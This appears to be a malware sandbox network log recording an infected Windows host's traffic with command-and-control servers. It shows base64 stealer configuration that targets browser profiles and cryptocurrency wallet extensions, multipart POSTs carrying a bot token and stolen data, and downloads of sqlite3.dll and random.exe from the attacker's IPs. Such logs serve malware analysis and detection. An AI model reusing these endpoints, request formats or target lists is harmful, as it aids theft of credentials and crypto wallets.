Nov 18, 2024 21:04:21.486084938 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 21:04:21.486201048 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 18, 2024 21:04:21.493566990 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 38 62 62 30 39 39 37 61 35 64 34 33 64 61 33 37 65 33 34 65 66 61 36 63 64 31 65 39 35 30 35 38 63 30 62 63 34 34 61 38 34 30 66 65 34 30 32 39 33 35 62 34 34 63 66 30 37 66 30 31 61 65 37 39 35 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"plugins------HIIIIEGHDGDBFIDGHDAF--
Nov 18, 2024 21:04:21.771116972 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 21:04:21.771240950 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Nov 18, 2024 21:04:21.771250010 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Nov 18, 2024 21:04:21.771471977 CET	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Nov 18, 2024 21:04:21.771487951 CET	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Nov 18, 2024 21:04:21.771502018 CET	636	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Nov 18, 2024 21:04:21.772070885 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Nov 18, 2024 21:04:21.772150040 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Nov 18, 2024 21:04:21.776710987 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 38 62 62 30 39 39 37 61 35 64 34 33 64 61 33 37 65 33 34 65 66 61 36 63 64 31 65 39 35 30 35 38 63 30 62 63 34 34 61 38 34 30 66 65 34 30 32 39 33 35 62 34 34 63 66 30 37 66 30 31 61 65 37 39 35 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="message"fplugins------IJEGHJECFCFCBFIDBGCG--
Nov 18, 2024 21:04:22.055061102 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 21:04:22.664812088 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIE Host: 185.215.113.206 Content-Length: 6419 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 21:04:22.664855957 CET	6419	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 34 30 38 31 64 Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"94081d8bb0997a5d43da37e34efa6cd1e95058c0bc44a840fe402935b44cf07f01ae7952------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 21:04:23.479962111 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 21:04:23.801275969 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 21:04:24.076351881 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 18, 2024 21:04:24.076365948 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49853	185.215.113.16	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:20.928219080 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 21:04:21.837182045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:21 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Mon, 18 Nov 2024 19:15:48 GMT Connection: keep-alive ETag: "673b9264-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5c 92 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL\;g"bw@pX@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 18, 2024 21:04:21.837280035 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 18, 2024 21:04:21.837291956 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 18, 2024 21:04:21.837522030 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 18, 2024 21:04:21.837532997 CET	224	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@
Nov 18, 2024 21:04:21.837811947 CET	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Nov 18, 2024 21:04:21.837826014 CET	1236	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u
